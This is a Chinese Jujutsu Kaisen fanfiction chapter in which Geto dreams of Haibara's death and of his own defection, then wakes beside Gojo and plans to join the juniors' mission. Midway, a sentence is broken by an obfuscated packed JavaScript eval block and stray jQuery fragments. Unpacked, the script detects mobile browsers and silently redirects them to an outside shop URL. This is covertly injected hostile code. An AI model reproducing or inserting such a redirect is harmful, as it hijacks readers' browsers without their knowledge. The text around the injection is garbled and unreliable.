刺鼻的消毒水味充斥在整条高专走廊里。
夏油杰站在漆黑一片的走廊里,额间青筋跳个不停,铁锈般的血腥味夹在消毒水气味里,直击他的天灵盖。
两个小时前,他在离高专几十公里之外的地点祓除咒灵。手机震动时,他以为是悟睡醒吵着要吃甜品。没想到,居然是硝子发来的邮件。
邮件的内容非常简短,是硝子一贯的做派:言简意赅、一针见血。叫夏油杰生不出半分质疑,质疑硝子被人盗号,质疑邮件内容的真实性。
看到邮件后,夏油杰连调伏的念头都提不起来,第一时间祓除了任务咒灵。
他以最快的速度赶回高专,却在停尸房门前踌躇不前。
很快,夏油杰便发现自己的身体不听使唤。像是不受自己的意志,又像是自己已经完全放空,只能俯瞰在半空中看着底下的□□擅自推开了大门。
门刚推开,头顶冰冷的日光灯直接将他整个人笼罩住,寒意从脚底一路攀爬,酷热的夏日里,他却只感受到了刺骨的寒意。
几步之外的台子上,灰原雄躺在上面。
准确的说,是灰原雄的上半截身体躺在那里,那双永远充满活力的大眼睛此刻永远地闭上了眼睛。
他身上盖着一块硕大无比的白布,白布底下却只有一点点突起。
灰原雄死了。
前一天还笑着说“谢谢夏油前辈请的可乐”,“全力以赴去完成一件事情的感觉很好”,要给他和悟带特产的灰原雄死了。
他才一年级,都没成年。
“明明说是二级咒灵,为什么会是那种东西?”七海建人坐在墙角,高专制服上留着死里逃生的痕迹。他仰着头举高手臂,把整张脸埋进胳膊里,肩膀微微抖动。
寂静无声的房间里,夏油杰僵在原地,被灰原的牺牲扼住了脖颈,连呼吸都忘了。七海压抑破碎的呼吸声一下、又一下地撞击在他胸口。
“原本的任务应该是轻而易举的,可恶!!!”伴随着七海的愤怒,一条圆凳被踢得飞出去老远,“产土神信仰……这东西是土地神,是一级案件才对……”
窗的情报,又出错了吗?
夏油杰看着眼前发生的一切,只觉得身体里有什么压抑不住的东西在翻涌,它们游走在四肢百骸,被一层膜包裹着,最后簇拥成一团,叫嚣着找一个出口。
然后,他听到了自己的声音。
很平静,甚至称得上温柔。
“七海,你也受伤了,先安心休息吧。”他在安抚七海建人,“任务已经转交给悟了。”
只是从死亡线上走了一圈,又失去同期挚友的七海情绪完全失控,甚至开始口不择言地抱怨:“既然这样,从一开始就全靠他一手包办不就得了!”
夏油杰张了张嘴,却什么都没有说。
固然悟是最强,难道他就应该失去自己的人生,被当成一个没有自我的机器,永远为高专、为咒术界一直奉献下去吗?
何况,最强的定义到底是什么?
一年前,他和悟自诩最强,不是照样被一只猴子打得头破血流。倘若五条悟没有在濒死的关键时刻领悟反转术式,所谓最强,早就已经躺在冰冷的停尸房等待硝子解剖。
悟是人,他会累,也会死。
悟尚且如此,遑论其他人。
死亡的腥甜争先恐后着从灰原雄身体里倾泻而出,将夏油杰整个紧紧包裹住。密不透风的包裹里,他用白布轻轻盖到灰原雄头顶,却看到红到发黑的血液在停尸房肆虐,如洪水一般冲垮了整个高专。
——名为术师的马拉松比赛,如果在尽头等着的,是同伴们堆积如山的尸体呢……
——尚未成年的咒术师,为了保护非术师拼尽全力,每分每秒都可能迎接死亡。
——被保护的非术师在做什么?在制造死亡……
——哪里错了……
-.-
新宿。
视线范围是三百六十度的六眼疯狂接受周围信息:天空被夕阳烧成绚丽的橘红色,面前是如织的人潮,肯德基店铺门前有人在人群里见缝插针地派发优惠活动传单……
此刻的五条悟却只看得到面前那个熟悉的身影。
往日整齐扎在脑后的黑色长发,如今半扎着,额间垂下一缕刘海,紫色眼眸在夕阳映照下显得格外幽深,像冬日里结了冰的湖水。
“杰,解释一下。”
解释什么?
他刚发出疑问,脑海里便自动浮现出不久前看过的调查报告。
——死亡人数:112名。
——现场勘察:遗留咒力残秽指向夏油杰。
——判决:死刑。
——罪名:大规模屠杀非术师。
——执行人:五条悟。
哈?
开什么玩笑。
满嘴都是正论的优等生,永远都为别人考虑的优等生,怎么可能会做屠杀非术师这种事情?
五条悟有些烦闷,这个梦境也太真实了。
还是说,这不是梦境,而是哪个咒灵在作祟?那它的谋算要落空了,编造这种没有半分逻辑性可言的幻境。
五条悟环顾四周,想找到幻境的运转中心,再给它来上一发“茈”。对面令人陌生的夏油杰已经开口:“原因你不是应该已经听硝子说过了吗?事情就是那样。”
对面的人,不论是长相,声音,亦或是咒力,五条悟都确认无误,他就是夏油杰。
可是杰怎么可能做这种事情。
五条悟不信。
只是他不信,也没有用。因为紧接着,五条悟就发现自己的脚像是被定在了地里,整个身体都不受自己支配。
他明明是想冲上前去继续质问,最好是将杰强行带走叫醒,再一起找到幻境的中心。然而他却只能无力地站在原地听自己说:“所以你就要杀害术师以外的人吗?甚至连自己的父母都不放过?”
夏油杰站在原地回望,眼神是让五条悟不自觉皱眉的坚定。他说:“总不能只给父母特殊关照吧。何况,现在我的家人已经不只是他们了。”
“我要问的不是这个。你不是不做无意义杀人吗?”
盘星教的时候,他明明问过,杰说这是没有意义的。怎么现在全变了?
面对质问,夏油杰依然淡定:“当然这也是有意义的,或者应该说是大义。”
“所谓大义就是杀死所有非术师,打造一个只有咒术师的乐园吗?开什么玩笑!这种事情怎么可能办得到?!!!这种幼稚的想法才是毫无意义。”
“这是傲慢啊,悟。如果是你就做得到吧。如果我能变成你,你不觉得这荒唐的理想或许就有可能实现了吗?”
“……”
“我已经做出了选择,接下来只要努力完成就好了。”
“……”
就算是幻境,五条悟也忍不下去了。幻境里的“五条悟”显然也接受不了这样的说辞,他抬起手比出“茈”的手势瞄准夏油杰,却迟迟没有动作。
然而,面对五条悟的杀意,夏油杰依然面不改色。他眼神柔和,只丢下一句:“想杀的话就杀吧,这也是有意义的。”
转身离去。
-.-
夏油杰猛地睁开眼睛。
胸口闷得难受,被保护在胸腔里的心脏不知疲倦地撞击着,动静大到他完全听不见自己剧烈的喘息声。
感受到眼角的紧绷,夏油杰下意识抬手去摸,指尖触到一片潮湿。
是汗水,亦或是泪水。
总归不是血。
已经天亮,地板上铺满了穿过窗帘缝隙的漏网之鱼。刺目的光斑让夏油杰眩晕了一下,眯了眯眼才重新夺回感官。
起初他以为是刚才的梦太压抑了。
其实不是,是有什么东西压在他胸口,死沉死沉的,所以让他一直觉得胸闷。
夏油杰低头,只见一颗毛茸茸的白色蒲公英搁在他胸口,一米九的高大个子以一种不可思议的姿势横躺在床上,抱着枕头蜷缩成一团。
是悟。
记忆慢慢回笼。
昨晚,他按着悟消息里的要求,等到半夜,结果他来了之后却莫名同自己闹了起来。后来两人在床上小打小闹了会儿,各自睡了。
迷迷糊糊间,好像有什么东西挤到两人之间。
应该是枕头吧,夏油杰想。
高专宿舍的床只有一米五宽,夏油杰和五条悟两个一米八以上的大个子挤在一起睡就非常勉强。五条悟睡姿还不老实,抱着枕头横过来,不挤才怪呢。
因为睡得不踏实,所以做噩梦,还是因为其他原因?
夏油杰不敢想。
灰原雄死去的那个梦太真实了,即使他从梦中惊醒,依然将梦里所有细节都记得一清二楚。
以防万一,他现在就洗漱完,跟着灰原雄和七海建人一起出任务吧。
“……嗯。”
夏油杰刚动一下,胸口那颗白脑袋也跟着他的动作侧了一下。
白色睫毛颤了几下,五条悟睁开眼,一双苍蓝色的眼瞳直勾勾地盯着夏油杰。夏油杰不得不感叹,他这个同期,毫无情绪看过来的时候,有很重的非人感。难怪那么多人感到害怕。
这些人里不包括他。
见五条悟已经醒了,夏油杰也就没有什么顾忌了。他伸出两只手在五条悟头上胡乱薅了一通:“起床了。”
五条悟顺势坐起身,顶着一头被薅乱的白色鸡窝头依然帅得惊人。他抬手随便撸了一把头发,眼神始终没有离开夏油杰分毫。
过了好一会儿,直到夏油杰脸上肌
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17897911|212873||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
肉抽搐,已经隐隐不耐,他才拉长音调缓缓开口:“杰,就算嫉妒我的帅气也没用哦。”
“……”夏油杰哽了一下。论帅气,他也没有输好吧?但这不是重点,“你昨天说有事要找我,又说没有事,最后问你一遍,到底有没有事找我?如果没事的话,你先在高专休息吧,我要出去出个任务。”
“什么任务?好像你上次还欠我一份特产没有补给我吧?”
“严格来说应该是灰原和七海的任务。只是我心里不安,决定跟去看看。悟没事的话就再补个觉吧,我去洗漱,免得等下赶不上出发。”
五条悟噌的一下从床上跳下来跟在夏油杰身后:“杰,灰原和七海不是第一次出任务了,他们实力还算可以,你为什么突然不安?”
夏油杰沉默了一瞬,半真半假地说:“做了个噩梦,梦见这次任务有危险。何况,这次任务可以给你带喜久福,你不是上次说想吃吗?”
事实上,夏油杰猜昨晚的梦,与论坛一样,都是在给他透露未来会发生的事情。
宁可信其有,他必须去看看。
-.-
五条悟怎么可能老老实实在高专宿舍等着?
他紧跟在夏油杰身后,老老实实完成洗漱,便着急忙慌地去找灰原和七海。
墨镜后,他的眼神晦暗不明。
杰身上绑定了可以预知未来的虚拟论坛,昨天他没有反驳论坛里的内容,但也没有全然信任。而且,昨天他看了内容,论坛并没有提到灰原和七海,怎么一觉醒来,杰如此反常。
除非,是那个噩梦。
难道杰除了可以通过论坛上的用户获取文字信息,还能梦到未来会发生的事情吗?
这也太犯规了吧,这么好玩的事情杰居然瞒着他?
不愧是,准备叛逃的坏刘海。
“我也去。”五条悟伸出胳膊紧紧勾住夏油杰,将半个身子的重量都压在对方身上,“你体内那个诅咒的秘密都还没说呢,别想逃。”
-.-
其实,说到体内那个咒胎,夏油杰也觉得奇怪。
明明昨晚喂了它不少咒力,它应该快出世了才是。今天看它,居然又恢复了之前的大小。
就像是放完大招被重新打回幼年期的……数码宝贝?
“悟,你能看到我体内的咒灵,对吧?”
“杰怎么突然问这个?”五条悟开了罐可乐,一边走一边解答夏油杰的疑问,“六眼可以看到别人的咒力流动和术式,但是咒灵操使的咒灵使用咒力来自咒灵本身,并不能看得那么精细。不过杰你的咒力我看得很清楚哦,稍微泄出来一丝丝,我都能认出来。”
“是吗?”
夏油杰笑眯眯地,心里却忍不住腹诽:虽然不觉得悟会在这种事情上撒谎,但是要是真像他说的这么厉害,怎么可能让他叛逃十年都没有抓到他?他现在可是打不过悟的。
也许,之后的他搞到了消除咒力痕迹的咒灵,就像现在这个未知的咒胎,它不就是靠吃别人咒力增进实力的吗?
咒灵操术数值不高,但是花样着实多啊。
一看夏油杰的表情,五条悟就知道他心里有小九九了。
想到昨晚论坛里看到的预言,还有一想就忍不住生气的噩梦,他仰头灌了一大口可乐,先是打了一个大大的嗝,紧接着才不满道:“搞什么啊,杰你居然不信吗?你不会觉得自己要是跟我玩捉迷藏,我会找不到你吧?”
“怎么会呢,悟。”夏油杰依然面不改色,“你昨天晚上不是说要我把身上那个诅咒的事情告诉你吗?”
“切,你不说我也知道。”
“真的?”夏油杰狐疑地看着五条悟,脸上写满了“不可能”。
“因为咒灵操术调伏咒灵后,咒灵的实力就此固定得不到提升了。而杰身上那个咒胎是靠吸食其他咒术师的咒力提升实力,等到发育成熟一定能开发出有趣的能力吧。说不定,是吸取了谁的咒力就能短暂复刻那个咒术师的能力,或者是看到咒术师的过去、现在、未来之类的有趣能力?总之开盲盒的感觉,还蛮有意思的。”
五条悟说得漫不经心,一旁夏油杰却听得心惊肉跳。
什么叫“能看到咒术师的过去、现在、未来?”
这话听着,他差点以为悟已经知道论坛的事。
“你昨晚给那个咒胎喂咒力了?”
“昂,好奇就试了一下。”
“然后呢?”
墨镜背后,五条悟的大眼睛滴溜溜转了一圈,他当然不会坦白因为大意自己直接被抽晕了,只敷衍道:“然后就睡了啊,难道杰没有试过吗?”
“当然试过。”
“那发生了什么?”
夏油杰额角一跳,笑眯眯地回答:“然后就睡了啊,悟不是也体验过了吗?”